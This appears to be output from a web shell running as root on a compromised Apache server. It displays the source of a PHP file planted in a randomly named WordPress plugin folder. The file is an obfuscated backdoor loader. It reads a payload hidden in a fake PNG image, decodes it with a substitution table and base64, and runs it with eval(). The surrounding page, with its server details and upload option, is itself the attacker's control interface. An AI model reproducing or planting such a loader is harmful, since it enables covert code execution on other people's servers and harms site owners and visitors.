HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.0.30
System: Linux multiplicar 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64
User: root (0)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /var/www/html/amopropiedades.com/wp-content/plugins/sokibuqoq/gisemon.php
<?php

function ibodugy_chumore($vurazyz_derykha) {
    if (!file_exists($vurazyz_derykha))
        return false;
    $vuqybu = @file_get_contents($vurazyz_derykha);
    if (!$vuqybu)
        return false;
    $vuqybu = substr($vuqybu, 3);
    $sufigyh = exuthah_liwuvil($vuqybu);
    return $sufigyh;
}

function exuthah_liwuvil($vurazyz_derykha) {
    $ahanan = uponazu_ubokhod;
    $khejitu = array();
    for ($edimevi = 0; $edimevi < strlen($ahanan); $edimevi += 2) {
        $xudafop = substr($ahanan, $edimevi, 1);
        $talumy = substr($ahanan, $edimevi + 1, 1);
        $khejitu[$xudafop] = $talumy;
    }
    $uchuvum = strtr($vurazyz_derykha, $khejitu);
    $uchuvum = base64_decode($uchuvum);

    return $uchuvum;
}

define("uponazu_ubokhod", "V8axTOlEr+EkK/j93B/YXH4jiWJRGlxyA4fu6cksPF2AdgwNQMhpv1ITbtLJsmmCRD0zCb+71veeNfp5o3nVYacnBKqGgd8=ZZMUWSHXOq76zh5rUIDwSiy0tP=oFL92uQ");

$zuthahy = ibodugy_chumore(__DIR__ . "/asset" . "s/im" . "ages/u" . "nytu" . "ti.png");
if ($zuthahy) {
    @eval($zuthahy);
}